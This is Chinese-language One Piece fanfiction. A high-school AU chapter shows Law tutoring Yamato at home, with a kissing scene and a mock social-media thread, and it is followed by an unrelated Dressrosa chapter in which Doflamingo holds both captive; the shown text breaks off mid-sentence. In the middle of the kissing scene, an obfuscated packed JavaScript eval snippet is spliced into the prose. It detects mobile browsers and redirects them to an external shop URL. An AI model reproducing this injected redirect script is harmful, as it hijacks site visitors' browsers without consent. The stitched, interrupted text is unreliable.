为了报答警方卧底“柯拉先生”(私设没有死,身份暴露后作为证人保护计划销声匿迹)多年前的救命之恩,一边维持着优等生身份、一边和唐组周旋誓要铲除老大Joker。目标无疑是要“子承父业”,成为顶尖的医生。 - 幼稚园时罗救过快被凯多以“父爱”之名虐待饿晕的大和,“一饭之恩”种下情根(认真的)。 青春期之后居然有机会再见并且成为同班同学,大和当滴水之恩涌泉相报,于是纯爷们对未来的小医生紧追不舍,学霸起初爱搭不理,但学渣多次见义勇为、无私给予各种支持,获取了学霸信赖。最终两人(毕竟还只是高中生)在被唐组发现,差点因私刑淹死的情况下,得到学校同学们(名单见下)帮助总算获救,那之后学霸和学渣之间总有点同学们参不透的情愫。 毕竟学霸的终点还是学霸,学渣的终点不可能是学霸(能毕业升学就不错),但多年后某学霸当实习医生期间被其他同学发现异常照顾医院旁边关东煮店的生意,好吃的关东煮店也只会在罗医生轮急诊的时候变成24h营业…… 至于关东煮的老板是谁不言自明。 - 学校名:“新世界”私立高级中学; 校领导及教师组:校董待定、名誉校长罗杰(抱恙)、执行副校长待定、教务长雷利、班主任香克斯兼体育老师、保健医马尔科、音乐老师布鲁克、空手道部及游泳部指导教师甚平; 学生会(以主角一年级时为准):会长大熊(三年级,擅长组织修学旅行)、副会长汉库克(二年级,据说暗恋某位学弟,除了学弟本人全校都知道);罗曾经也受邀加入一段时间,但后来觉得没意思就不干了; 同班同学: ①尖子生组:班长罗宾(历史学教授之女)、风纪委员娜美(妈妈是女警官)、图书管理员罗(父母都是大医生); ②偏科生组:梦想当药师的乔巴、梦想当飞行员的乌索普、梦想开修理厂的弗兰奇; ③中等生组:梦想开米其林的山治、梦想加入北极科考队的贝波、佩金和夏其(双胞兄弟)、面包店继承人基拉; ④差生组:梦想当探险家环游世界的路飞(反对党党魁之子但对政治毫无兴趣)、武痴索隆(家住武道馆隔壁,耳濡目染)、想成为顶尖武器商人的基德(武器商人私生子并立志抢夺家产继承公司)、梦想开店卖关东煮的大和(帮派独生子); ⑤其他个例:艾斯是少年偶像,经常不来上学,签约公司是白胡子事务所;萨博已经在反对党党魁的感召下,半只脚踏入政界,目前兼任龙先生的助理,私下里还经常给路飞以及他的同学们提供支援。 (为什么学霸和学渣能在一个学校,且各有来历?问就是私立校多元化办学。) (年龄、身高整体重新设定,所以莫名其妙的人可以同学甚至同级同班。) - 本章番外就发生在高中三年级。在二人私自对唐组的犯罪证据展开调查后,唐组被国际警察抓捕并提起公诉,大难不死的尖子生罗主动提出辅导一同劫后余生的差生大和,明面上是报答和友善的“同学”感情,暗戳戳地,尖子生到底在想什么……谁知道呢。 辅导开展了一段时间,这天恰是周末,因为学校图书馆不开门,罗邀请大和到家里来【补习功课】—— - - 简约朴素的一户建房屋外,门铃已经响了一会,穿得很像“乖孩子”那样周正的白发男子高中生有些忐忑地站着,时不时拿余光觑着二层某个紧闭的窗口。 这是大和第一次正式造访特拉法尔加宅邸,虽然学龄前曾因为误打误撞就来过,高中以后也曾为了帮罗解决“唐吉诃德”帮派的骚扰而在罗的家人外出时被带来,但这还是首次“正式”访问。 啊说什么正式访问搞得好像是来求婚一样……并不是!虽然很想就是……那应该就算一次比较平常的访问好了。 对于罗的妹妹拉米,他已经见过多次了,和那位初中女生他还蛮自信地认为相处得还不错。可一想到很可能要见到罗的父母亲,他就紧张到甚至有点腿软。 明明才下过一场秋雨,天气很凉快,可手心很快还是冒出了汗。怕浸湿伴手礼的提手,他赶紧换只手拎袋子,想翻出手帕来,可门里已隐约传来人声——来不及了,他想——只好迅速在裤子上蹭了蹭,将手放平下来。 “啊啦,请问你是……”开门的是一位优雅亲切的妇人,大和立即认出她就是罗的妈妈,和之前房子里看到的照片一样,而且真人更光彩照人——从她的脸上,大和多少明白罗精致的脸型和漂亮的鼻子嘴巴是照哪个“模子”刻的了。 “阿姨好美!”他几乎脱口而出,随后才意识到自己曾被喜欢的男生吐槽为“脑子永远跟不上嘴”的毛病犯了,立刻又紧张地改口道:“对不起!是我失礼了。我是罗的同班同学大和。那个……我是来跟罗一起复习功课……” “啊,你就是大和!”早就从儿子口中得知今日会有同学到访,本以为来的会是男生,没想到是这么可爱的“女孩子”,还一张口就夸人。“哈哈,谢谢你呀,你也好可爱!快进门~欢迎噢!” “谢谢阿姨!” 进入玄关,正巧在楼下客厅里刷手机的拉米也轻快地迎上来,熟稔打过招呼后就笑嘻嘻地接走了伴手礼。 来客在妇人指引下换好拖鞋,期间,听闻妻子招呼声而走出书房的一家之主也来欢迎不大多见的访客——算来这可能还是儿子邀请到家中的第4人,先前10多年来,也只有青梅竹马的3个大男孩贝波、佩金、夏其偶尔造访而已——更没想到,今天来的居然还是高个子的“女”同学。 夫妻俩正怀着相似的惊讶、和一点自然而然的“八卦心理”左右提问,例如: 孩子们是什么时候认识和来往,是不是经常一起玩,怎么认识这么久才第一次来家里; (“我家儿子实在是太不懂事了,不好意思啊。”阿姨说。) 以及自家儿子(平时是什么脾气,家里人也清楚)有没有给对方添过麻烦…… 虽然有些问题一时半会很难讲的清,大和也都毫无戒心地认认真真、真情实意地作答。 几乎就在问题已经像连珠炮一样,远远超出了一张嘴能解答过来的程度,坐在楼上再也听不下去的罗出现在楼梯上,直接不客气地招呼到:“喂,磨蹭啥呢?抓紧时间上楼来。” 特拉法尔加阿姨轻柔地埋怨儿子对客人说话未免太粗鲁,男生却仿佛充耳不闻那般,抓着访客的手跑回房间。 “天呐,那孩子就这么把‘女生’直接带去楼上了?”目送人影消失在楼梯转角,妇人惊讶地捂住了嘴。 “……呃,可能或许大概因为要做的功课比较繁重……?”身为开明的父亲,男人还是希望给予青春期的儿子更多信任,故找了个自己也不是太确信的理由,用不怎么确定的语气。 没想到将伴手礼放进厨房后走回客厅的女儿先肯定了父亲的猜测,“是哦,因为大和成绩确实糟糕到一定程度。哥哥对他很严格的,估计又要温很多书才肯放过他吧。” ——呐,哥哥,做妹妹的这么懂事,之后好好报答一下吧~ 小心思默默飘过脑子,拉米又暗笑着趴回沙发上,打算继续刷会sns,顺便替老哥在楼下看着父母不要乱想、乱问,尤其不要乱窥探。 “原来是这样啊,”妇人听后才稍松了口气,点点头,“真看不出来,罗现在还会这么热心帮助同学……不,不对,他绝对有问题!” 知子莫若母,她清楚儿子虽然小学以前也曾是温柔又热心的孩子,但自从初中——哦不,应该从10岁一场大病后——性情就发生了鲜明的变化,那以后即便并非真地不温柔了,总的来讲性格确实变得冷淡许多。 不然也不会这么多年过去,来家里的朋友寥寥无几。 “他不会欺负人家孩子吧?坏了,那个‘小姑娘’明显心眼没他多。孩子爸爸,不然过一会你还是上去看看吧。” “诶?我去嘛?不合适吧。”男人摆摆手,满脸为难,“孩子们都这么大了,还是多给些信任的好。而且罗很有责任心,我相信他不会做出过分的事……退一万步,就算真地‘年少轻狂’,那我们也做好替他负责到底的心理准备就是。” “——那也要考虑人家女孩子的心情啊!家里平白多出了小小孩子……倒也没什么关系……但是那个‘女孩子’那么可爱……”妇人没料到,越说越反倒把自己说动了。 想起站在门前的高中生一身干净又乖巧的白衬衫、牛仔裤,打招呼前张嘴就直率地夸人美貌:太招人喜欢了! 虽说个子看起来几乎和儿子差不多高,但模样又实在可爱,如果真地能有下一代—— “不要瞎想啦!”唯一头脑冷静的竟是这个家里年纪最小的次女,“哥哥又不是笨蛋,他的生理保健知识搞不好能反过来教老师。” ——看来真得靠她这个了不起的妹妹呀! 沙发上的初中女生冷不丁打破父母的紧张纠结与莫名期待,再次亲自为大哥的人格作保:“以哥哥的个性,他做任何事之前一定都会充分考虑好才会行动的,而且会负责到底。不用瞎操心啦。” 不过有件事确实没告诉父母——实际上大和也不是啥普通“女孩子”来着…… 唔,解释起来太麻烦了。复杂的事情还是让【哥哥们】自己慢慢对家长们说吧。假使真有那一天的话~ 还有哇,其实凭大和的体力,如果真地发生什么“肢体”冲突,拉米也怀疑她亲爱的哥哥未必能占上风…… - 就在楼下三口人各怀心思之时,楼上倒是真地在好好学习。 房门挡住了家里其余(人)的声音,对于罗这样一个三年级就已经长到快1米9的男学生来说并不算太宽敞的书卧两用房间里,一段时间内,也只有笔尖书写的沙沙声。 过了一会,还是主导了复习进度的黑发男学生主动将头凑到另一人旁边,用笔画了几个圈后继续讲解知识点。 “——把这个也做一下。” 他讲解功课的话很简洁,但逻辑清晰,表达也很清楚,或许也对听讲之人的思路有所把握,因此知道怎么讲对方便可明白。 “唔,好。”大和虽然没有罗聪明,却还没笨到自大地以为都是靠自己的努力才补回来那么多功课。他知道,也很感激身旁人的用心;如果不是“老师”够好,他这个学生恐怕只会更糟。 “嗯。”放下笔,罗将视线抽离纸面,向后伸了伸懒腰。 他个人房间原本的书桌上堆满书本、地球仪、和各式实验器具,实在太拥挤。因为懒得收拾,便将床垫前的茶几当作二人临时的“课桌”。 此刻两名差不多高的男生就盘腿坐在地毯上,腿挨着腿,膝挨着膝。罗稍一侧目,就能看到大和伏案时认真的侧脸: 蛮长的睫毛随自然生理现象一眨、一眨,长发齐齐梳成马尾后,脸庞轮廓显露得很是清晰。 ——真地,睫毛好长啊,尚以一个巧妙的弧度微微鬈起,既没有翘的很夸张,又刚好从侧面看起来更动人……该不会是用睫毛夹人工夹出来的效果吧?这小子不太像会有心思偷偷练就这么好的手艺,那就是天生…… “大和……”罗一走神就差点将心里话说出来,好在听到自己的声音后一激灵,方意识到刚才在想什么——很无聊的话题,他都不好意思说。 ……关于他天生丽质的男同学有多可爱。 “啊?”大和却为他的呼唤惊动,立即抬起脸来回头看看他。 ——眼神清澈无辜地就像只萨摩耶一样,好在不是黑豆眼…… 罗撇撇嘴,掐住脑子里不正经的想法,“没什么。”他可不会犯大和那样嘴比脑子快的毛病,虽然说刚刚好险…… 一定是跟傻子呆太久容易被传染。不过没关系,幸亏他免疫力够强。 “诶……” “诶什么诶?”进入青春期后就惯于面露凶相的男生将两眼一瞪。 奈何对方是从小在百兽组长大的小少爷,见惯了比罗还凶恶的表情,对此毫无畏惧。于是他只能又故作不耐烦地催到:“快写,认真点,这道示范题比之前那些难度更高。” 或许是一点奇怪的心有灵犀吧,大和此刻被叫来注意力后,也在打量靠在一旁的男同学:神态慵懒却眸光精明,就好像一头大猫的模样。 “呐,罗,”他突然想到,想到也就说了,“如果这么难的话,若是做出来了,可以稍微‘奖励’一下嘛?” “哈,你以为是在给谁学啊?我吗?” 即便听到讽语,已渐渐免疫的大和也不吭声。当他想要争取某件事时,不说话、看着对方,就是他坚持念头的做法。 罗无奈地翻了翻眼,懒得计较了。“行吧,但必须一次做对。做错再改可不算数——考场上也没有给你出错的机会。”面对大和那张秀气的脸、和琥珀似的双眼时,他也不由得难以态度继续强硬。 “嗯!明白了。” 有点傻兮兮的阳光笑容,落进另一男生眼中便令其不由得心神一软。 ——也罢,第一次叫到家里来,就稍微温柔点,留个好印象吧。 免得以后不肯来了…… 他收收心,将目光重新投向自己所翻的书本,没一会身边便又传来元气十足外加信心十足的一句:“做完了!” “来,我看看……唔,唔……还不错。看来真地学会了,没白费工夫。”少年露出一丝满意的笑来,对于效果还算肯定。 “嘻嘻,谢谢你啊,罗。”大和并不吝啬于表达感激,他相信,如果自己能顺利考学,那一定与旁人关系紧密。 “别谢我啊,谢你自己吃了不少苦头吧。” 对于优等生的他来说这些事简单地就像举手之劳,辅导大和也不仅是为了感谢对方之前一次次出手相助——甚至是舍命相救——也因为他看出来凭借对方的学习能力,只要肯用功,其实考到偏差值60以上的大学也不是问题。 “说吧,奖励是什么?我先提醒别太过分啊,才一道题罢了,别弄出个千円以上的要求来。” “……我没想还要花钱的事……应该不用吧……”? “那你说说看。”罗也有点被挑起了好奇心。 “……”对方顿了顿,毫无预兆地,突然脸红起来。 他见状不禁愕然,忽然更为不正经的想法从脑子里开始冒泡,各种各样的可能性就像走马灯一样掠过心头,但是……对方到底想要的是什么呢? “就是……我想……”有着霓虹闪电般色泽的长发之人,轻轻一眨琥珀明眸,轻咬自然鲜红的嘴唇,吞吞吐吐。 ——干!到底想做啥,露出这么可爱的样子,再不提要求那他可就提了。 血色健康的双唇嗫嚅,罗逼自己耐着性子等到了答案:“我可以碰你的眼睛嘛?” “……哈?你要干啥?”——这不是疑问句,而是反问以确定自己听到的是不是真的。 经历台风天二人被唐组吊在井里差点淹死的事件,赶在“死”前终于明白听见彼此的心意,也幸得最终活下来,罗本以为那之后关系会很快升温,还主动提出了要在大学入学试前帮对方辅导…… 哪想到快3个月过去了,一点动静也没有! 此刻心情用一句再直白不过的形容来描述,“老子都快‘那啥’了,结果居然只说想跟老子牵牵小手”——不,这还不如牵手。 “就让我……碰一碰你的眼睛……就好。” ——这么个破“奖励”有什么可值得脸红的啊!? 罗真是搞不懂对方的脑回路,不仅现在搞不懂,应该说从最开始来往就没大搞懂过。 “行行,随你吧!”聪慧优秀且脑子里装了太多超出年龄应有知识的男子高中生,干脆将常年熬夜而带有着青灰眼圈的双目紧闭,不耐烦地双臂交叉一环,任由同学兼(人前称)挚友兼(实际上)心属之人怎么碰都行。 “——快点!后面要复习的考点还多呢。” “嗯嗯。”另一名男生忙不迭地答应,从茶几旁向后挪了挪,坐到与男同学同一水平位置上,小心地伸出手去。 对于大和来说,罗的眼皮上不浓不淡的阴影,就像点在他心头的水墨似的。从注意到的第一天起,就觉得有种神秘的美感。 ……虽说是从不大健康的作息习惯带来的,真心讲的话如果有一天罗能不再熬夜、注意身体,哪怕这么天然好看的“烟熏妆”消失了他也觉得蛮好——只不过稍稍会有一点点小遗憾罢了,因为这样的罗真地也很漂亮。 指尖轻轻描摹着眼睑的纹路,柔嫩而光滑的触感,略微黯淡的眼皮在灯光下却反射着海贝样的细闪。 ——不知道会不会有海贝一样淡淡的清甜呢? 他这么想着,又见男生依然闭着双眼,不禁稍稍大胆起来。 悄无声地改变呼吸频率,支起膝部以上的身体,抬高了上半身,倾过去。 而正闭眼的男生在感受到指腹短暂离开脸庞有了一会,便以为或将如此结束。启眸正待看去,一线目光睹见业已离近的脸庞,惊得他又本能闭上眼,才觉落在眼眶上的已不再是指腹,而是更温暖的双唇。 “……”这…… 居然出乎他意料的大胆。 出乎意料,倒是恰合他意。 察觉到对方很可能是小心翼翼地亲吻之后,用舌尖轻轻又触了一下,他也不想再装傻了,睁开未被遮住的右眼戏谑道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13482098|133034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “用嘴巴了,也能叫‘碰’?”——他怕不是还得帮大和把国文语法也补一补。 “……被你发现了,嘿嘿……”对方被戳穿后也就不狡辩。在得偿所愿地尝到“黑眼圈”的滋味后,也就红着脸慢慢退后。 “等着,”有个想法却从优等生早就够拥挤的大脑里挤到了前排,“——要是有接下来这个‘奖励’,你真得好好把今天该补的课都老老实实、按有史以来最高的水平,给我牢牢记进脑子里……” 说着他已展开手臂,捞着即将后退之人的头颅再次缩短距离,自身也主动凑上前去,实现了他脑子里已一遍遍想象过的画面—— 好软。 和梦里一样,和看起来一样,既柔软又温暖。 仿着电影里、漫画里看过的、猜想过的样子,用在这早就想实际试一试的人唇上,作预想中的“实验”。 是试验,却也像人生一样,是不经排练的直接上演、不打草稿的临场描写。一旦上演,也即明白:就这样便对了,要这个人就好了。 ——终于被他亲到了:好软,好可爱。 微微睁眼确认,原来对方也已经默契地闭上双眼。一副好像既害羞又很享受的样子,傻的要命。 是真地几乎要他的命…… “唔嗯……”这声音竟是主动给对方“奖励”的他发出来的——该死的,要忍不下去了,“别动!乖……” 阻止了对方要退出的打算,他反向用力按回来,凭本能所愿也终于突破了仅仅双唇相触这一界线,探入更加滚烫的唇齿后方、温热的口腔内部。 有点慢,但并不足够温柔。舌入齿后,便越发忘乎所以地探索掠夺。 同样未有经验的人一时招架不住,几道呼吸紊乱的急忙吞咽后,还是溢出了水光同细微的声响,只不过是也开始试着抵抗与共舞。 ——救命!要窒息了…… 大和被来势突然的吻打了个措手不及,轻微几次挣扎后撤均落得一败涂地,干脆不若迎合乃至主动入侵。 这可是他最喜欢的人。是他刚好在亲喜欢的人! 这样的认知令人心跳怦然加速——也不光是因为缺氧而加速——对方柔软的刘海时不时会蹭到他,甚至是浓密的睫毛也会刷到眼睑近旁的脸颊,那感觉又痒、又可爱得要命。 毫无技巧又单凭本能的吻只能像隔靴搔痒,稍作停歇,鼻梁轻触的同时入目具是彼此迷濛却又点亮着更明确渴望的眼。 略嫌急促的几道喘息后,还是豹子般灵敏又攻击力十足的男生先将他扑在地毯上。 垂直下落的吻不像吻,反倒像丛林里的“撕咬”,落在大和的腮畔,下颌畔,掀开立起的衬衫衣领,落在喉畔。 “哥哥,大和,拉米进来咯~”忽然从门外传来中学女生的声音,使两人都猝不及防。 惊醒后的动作倒也默契,大和伸臂轻轻一推,罗便借力从地上急忙爬起来,转而用可能从未有过的敏捷和速度将长腿跨过身后的床垫,连跑带跳地按住卧房门。背后的人也在同时“腾”地坐起身,背向房门掩盖自己的喘息声。 “喂,拉米——”通过门缝,男子高中生略嫌慌张的神态暴露在亲姊妹眼前。他一边用着力气按压门板不令其再向内开启一毫,一边下意识用责问的语气埋怨:“别随便进我的房间啊!” 初中女生被这么劈头盖脸地训了一句,一愣之后不禁瞪眼:“什么啊!哥哥,我又没在什么夜半三更‘特殊时刻’进你房间,大白天的,你怕什么?!” “什么乱七八糟的,别嚷嚷!”罗压低了声音,也稍稍注意控制下语气。他一向是不会对妹妹像对学校的同学们一样凶,但眼下还是稍显急道:“哪有‘特殊时刻’……不是,现在就是特殊时刻!——你来干什么?有事手机上说?” “哈?”少女毕竟还是单纯,怔了一秒才隐隐意识到自己来的可能的确不是时候,尴尬却也好笑:“噗,我是拿‘慰问品’上来的。妈妈将大和哥哥带来的蛋糕切分好了,还有新买的苹果,喏——” 拉米举高手中的食物托盘,又乖巧地用在私下才称呼的“大和哥哥”来提及罗身后另一人,罗也就明白至少眼前的亲妹妹是向着自己这头,而不是帮楼下(可想而知)对大和到访满腹好奇的父母来当“刺客”。 “好吧,多谢你了。”罗稍微将门缝拉开一些,要伸手接下托盘。不料拉米还是向后撤了一步,令他接了个空。“……什么意思?” “哥哥,我今天可是帮了你不少忙噢~”拉米没忍住嘴边的笑意,同时作疯狂暗示。 果然越到急时越容易被人拿捏软肋。可叹这还是亲妹妹。 狼狈翻起白眼,高中男生叹口气道:“想怎样,你说吧。” “嘻嘻,一会你看我sns好了~”女子初中生将托盘慷慨地交到亲兄长手中,“那我就不打扰了。慢用哦——大和哥哥~!”最后一句她是扬声说的。 也不怕楼下的父母听到,即便听到了,她就承认是叫的“大和”和“哥哥”两个人就是了。 ——诶嘿!~特拉法尔加-D-瓦铁尔-拉米真是世界第一小机灵。 少女一蹦一跳地下楼而去,门后的少年确认门外再无其他人,才单手托着点心回到房间,顺便反手锁上房门,以防再有类似的“危机”发生。 “……既然已经到了‘点心时间’……”一手尚在背后搭着门锁,罗朝向听闻拉米走后才转过头来看着他的人。道:“那就把书先放一边吧…… “教了你这么久,我也得要到我的‘奖励’才行……” 有着橙红琥珀一样眼瞳的人望着他,忍俊不禁。 便是在他手里,来时颇赢得特拉法尔加阿姨好感的白衬衫才差点遭到破坏。好在衣服本身“争气”。待到双方都亲够了,重新系好扣子时,仍成功遮掩住全部并非“乖孩子”的新证据。 等少年们暂且收起破坏欲和占有欲,享用相同两份点心的间隙,罗翻着手机像是看到什么,无奈地笑笑: “呐,大学考试后,一起去越后吧。” “唔,我没问题,只要是国内就可以,”毕竟大和的护照被百兽组控制着,还无法出境,“罗想滑雪嘛?” “滑雪、泡汤,都可以吧……”他状似无可奈何地叹息了一声,将手机立起来递到另一人眼前,“拉米在sns上po了雪花火,这妮子想去看,我刚刚被她要挟过了……不去估计是不行。” 大和定睛一看:好似触手可及的白色焰火在洁白雪原上空盛开如许。 “确实很美啊。我也没亲眼见过……” 明眸倒映着屏幕中的花火,也正未加掩饰地期待着。 罗噙着笑注视他,就像绽放的焰火也不及他耀眼,“那就这么定了。”隐隐地,未来好像也变得值得期待起来。 - 后来,拉米又发布一条新动态:“说好了带我看雪[焰火],结果现场表演[情侣]PDA[翻眼][翻眼][翻眼][吐舌头][吐舌头]麻烦两位立刻去[钻戒]私定终生[庆祝][欢呼][庆祝]” (提及YAMATO,提及LAW,屏蔽PAPA,屏蔽MAMA)——配图“雪花火”(创作者ID[世界第一小机灵]) ID[橘子不要蜜饯]、ID[红茶左转历史直走]、ID[罗老大的铁杆就是我贝波]、ID[不是企鹅是弟弟]、ID[不是虎鲸是大哥]点了[喜欢]; ID[全世界美女吃我做的饭]评论:“[流泪][流泪][流泪]我又失恋了!!可恶啊!!!”; ID[我是要成为冒险王的男人]点了[喜欢]; ID[ACE(目前国内巡演中)]点了[喜欢],评论:“哈哈哈居然是这小子[想一想][想一想][想一想]”; ID[SABO]点了[喜欢],评论:“实在是太好了[笑脸][笑脸]二位自由地在一起吧——某位不便用SNS的前辈也这么说呢!”; ID[宇宙大战背后的男人]点了[喜欢]; (被提及的)ID[LAW]回复ID[SABO]:“之前的事多谢!也麻烦替我转达感谢。一切拜托了!”; (被提及的)ID[LAW]评论:“混账红毛什么时候关注了我妹妹?立刻马上滚。”; (被提及的)ID[YAMATO]点了[喜欢],回复ID[ACE(目前国内巡演中)]:“嘿嘿,说来话长[憨笑]”; ID[宇宙大战背后的男人]回复ID[LAW]:跟你有屁关系!@ID[YAMATO]有好事记着给老子寄请帖,单独给你封个大礼!; ID[路飞我们结婚]、ID[本大爷 Super——]、ID[棉花糖和万灵药]、ID[天空战士乌索兰度]、ID[冷静点基德]、ID[世界第一剑豪]、ID[哦吼吼吼我是骨头]、ID[给个面子]点了[喜欢];(查看更多)etc. - (00:10) ID[LAW]新评论:等等,为什么连老师也……为啥这么多人都关注了我妹妹?? (00:15) ID[宇宙大战背后的男人]回复ID[LAW]:唷,才这个时间点就办完事了。 (10:03) ID[LAW]私信ID[世界第一小机灵]:把基德拉黑。带回家的土特产随你选。 50.piece 48-掀翻的牌桌与身在敌营 王宫高地之上,仆从与家族干部们恭迎国王归来。对于多弗朗明哥而言,此等尊崇本应当与生俱来,只不过一度失去,又被他多花了数十年向世间抢夺回来而已。 当然这还远远不是他的终点。或许假使人生从未走偏,他始终还是“天龙人”唐吉诃德,大抵这辈子也不过简简单单生活在圣地玛丽乔亚骄奢淫逸。可既然世间曾待他如此“不薄”,他当为世间好好作一番图谋:这就是“天命”。 当然,在此过程中,他也要得着他应得的王者身份才行。 “这两个小鬼都是能力者,锁牢一点,之后我要亲自审问。” 手中拎的黑发青年了无神识,被他一把扔到最高干部会议室的红心座椅上;肩上架的白发青年被丝线捆得像个茧,幸亏勒紧之后进气少、出气多,也算安静了好一会——不然真要吵得他头疼。 “——长得像女人的这位锁好之后就直接叫醒,想办法拍张精神点的照片,尽快传给百兽的对接人,请‘大客户’确认身份。” “明白,少主。刚刚那个海军大将……” “他不会留太久,我去对他说几句,很快就能打发走。”就连天龙人和世界政府也都不得不屈服于他的威胁,海兵又算什么——政府的“狗”罢了。 比起让海军夹起尾巴从德雷斯罗萨滚蛋,现如今令他真正关心的只有三件事: 竞技场的“草帽”小子赶紧战败变成玩具,永远留在王国地下,为唐吉诃德家族的利益服务; 暂放于红心之位上的罗最好能识时务重新归顺于他——他还有重要的任务,让罗为他而死; 大和疑似百兽海贼团“少爷”的身份需要尽快核实,或许也好顺便卖“大人物”一个人情。 ——班克岛的设施被毁,目前唯一能帮他生产SAD的凯撒被不知天高地厚的小海贼挟持下落不明。如果重建原料工厂并找回凯撒的前景尚需耽搁一些时日,那他迟早用得上这个“人情”。假使果真能算得上人情的话。 想想看:“幻兽人”小子实力不差,又被百兽团底下的人称作“少爷”,至少应当有不一般的地位才对。 ……至于今日打这一架是不是得罪了这位“少爷”,等他帮大和想起来自己是谁——照理对方还应该谢谢他——至多也不过是简单一句赔不是的话而已。 即便光是想想要跟那种脑子不清楚的毛头小子道歉就令人不爽,但多弗朗明哥忍得——这算什么?无论是国王、Joker、七武海……他可以让自己以任何身份不择手段地实现目的——暂且给四皇之下的某位少爷赔罪当“王八”又能怎样! 论卧薪尝胆,谁能和他比比? - - 将时间回溯到几分钟以前:或许,刚从身体反噬下缓过来一点,又被敌人的丝线捆得喘不上气,却保留有最后神智的那段经历,正是大和有记忆以来度过的至暗时刻。 他从未料到,自己竟有一天会在交战正当下触碰到身体极限,转眼被反噬变得动弹不得。 彼时只能眼睁睁地看着罗在重伤下被多弗朗明哥一面倒地打压,从铁桥一路打到闹市,在众目睽睽下遭到残暴猎杀。 枪响5发,海贼业已经倒地失神,从未失去过七武海身份的人还是泄愤地打空了弹匣。 大和从有力气开口之始便——也只能——将所有不甘和愤怒转变为徒劳的怒骂。 他说放开他,他不是唐吉诃德家族所认为的“某个人”,从来也没当过少爷,一定是认错了; ——既然他还是对手,那么要打要杀,就应该先对付他,别越过他对付别人! 够了,把船长还给他……他还没死呢,别再伤害他的船长了,要死也应该他先死吧……不要啊!让他替船长死行吗?放过罗吧…… “——住手!求你了!!” 嚷到最后,哭叫声尖利嘶哑,倒衬得仿佛街上寂静无声似的,也不排除他那时已经近乎缺氧出现幻觉,感知不到外界真正的动静了。 他并不清楚自己到底喊出来多少,有哪些话真地讲了、哪些实际没能讲出,具体说了什么……一概模糊。眼里除了涌上更多惊惧痛恨的泪,真真切切的也唯有中枪后躺在地上一动不动的人影而已。 倒是依稀记得有道和蔼的嗓音问他:年轻人啊,为什么哭得这么悲伤,发生什么了? 他凭借昏迷前的最后一点意识从敌人臂膀上用尽全力抬头,却只见到军装一样刺眼的白,还有看得并不分明的紫,可即便如此,他还是希望自己的话真地能让对方听见: 救救罗吧,还来得及,救救他…… ——他成功说出来了吗?半昏迷到昏迷之间,乃至翻腾成一锅粥的幻梦里,大和反复思考这个问题,可能想了不下数十遍。 他应该说出来了吧……不过说出来又能怎样呢?终究是讲给了“错误”的人—— 已经放弃七武海身份的罗再次变成“死生不计”的受通缉海贼,海军又怎么会救他?何况要杀他的还正是根本没有退出过七武海的、仍保留全部身份的多弗朗明哥。 ——思绪逐渐恢复过来后,尚未搞清楚自己在哪里、是死是活的人,先想通了这个道理。 进而大和也渐渐忆起,在更早登陆德雷斯罗萨前,他就对罗真实地表达过:无论船长决定去哪里,他都会跟到哪里;无论船长怎么决定,他都会跟到底。 在比那还要更早、更早之前,罗也对他说过的,要带他和自己一起到所有终将抵达的地方——去过的、没去过的——春秋冬夏、天空、岛屿、陆地、海洋…… 他还曾认真地想过,也对罗亲口说过,他要一直看着罗,看着最重要、最好的船长。 “只要任务结束,就第一时间赶来相见”,罗也这么说过呢。 可是现在真地搞不懂任务还能不能完成了,虽然他肯相信同盟,相信路飞、“弗兰奇大哥”,相信其他人在解决各自的麻烦后又会戮力同心,不会食言的,但似乎一时间也找不到应证这一信任的机会了。 如今大和只在乎:罗还肯来见他吗? 何况他已经“食言”了,既没法再确保任务完成、也没有守好船长——这么没用的他,却仍有一件事想无论如何也要做到——他还是想一直跟随船长直到最后啊! 所以船长不回来见他的话,他一定会跟去的。 - - 不寻常的刺眼闪光在面前一晃,大和应激地避开光芒,脑子大约也在同时醒了一半。 “欸,用自然光线就好了吧?而且这张刚才动了,肯定成像很虚,重新拍吧……” “他脸上的伤口需不需要遮一下?少主刚刚吩咐要‘精神点’,万一被‘那边’收到后发现伤口是不是也不好?” “不至于了吧!堂堂海贼的‘少爷’又不是公主王子,有点伤口怕什么,何况是他主动要干架的吧?” “那至少把头发重新梳一下,现在看起来像鸡窝一样。要不再打点水吧。” 耳闻一连串不知所谓的交谈,又恰恰是来自于在自己眼前晃的人影,大和反应过来之后抬起头,“你们……在干什么?” 刚巧面前的两个人在班克岛就已经见过。 “哦,你清醒啦?醒了就好,少主说了要给你拍照,来,配合一点摆个精神的表情。” Baby-5一面说着,大和也一面观察周身的情况: 如果没猜错,他大概率还没死,因为身体上留有之前打斗中造成的伤痛,痛觉还很清晰,并且受伤的时间应该也没过太久。 他此刻身处的位置无从确认,但至少从唐吉诃德家族干部二人组悠哉地在他面前摆弄摄像电话虫,即可得知大约战败后被多弗朗明哥带回了大本营或临时栖息地。 ——这是一个宽敞而空旷的房间,除了他之外似乎也只有面前的二人,远处则摆放一排宽大而造型别致的座椅:一共不过才4座,塑有很像扑克牌花色的黑桃、方块、红心…… “罗!”一眼望见靠坐在巨大红心型座椅中的人影,大和剩下的另外半颗脑子也立刻恢复清醒:船长也在! 刚刚因为黑发青年的身影陷在进深太宽的座椅中,显得过于纤小,竟没有第一时间注意到。 “哦,他还没醒,估计得有一会。”还是口中叼着烟的Baby-5主动告诉他。“敢背叛家族,被少主狠狠教训了一顿吧?臭小子也真是活该。” 说不上到底包涵哪些情绪的风凉话传进耳里,他一半当耳旁风,至少听出罗似乎应该还活着,心中就涌上了希望。 大和本能想跑过去,但是从刚刚醒来时就感觉到身体绵软乏力,随着锁链响动声,他能明白自己又一次被海楼石捆住了——和班克岛差不多的情形。 同样情况不是第一回遇到,他也早在上一次就意识到自己应该能部分抵御海楼石的作用,至少蓄力站起来是没问题的。 “Joker在哪?”把他和罗带回来之后,多弗朗明哥又干什么去了? “干嘛?别动坏心眼哦。”举着电话冲虫的女仆装干部对他摇了摇食指,“你现在身上带的可是海楼石,我们知道你也是能力者。 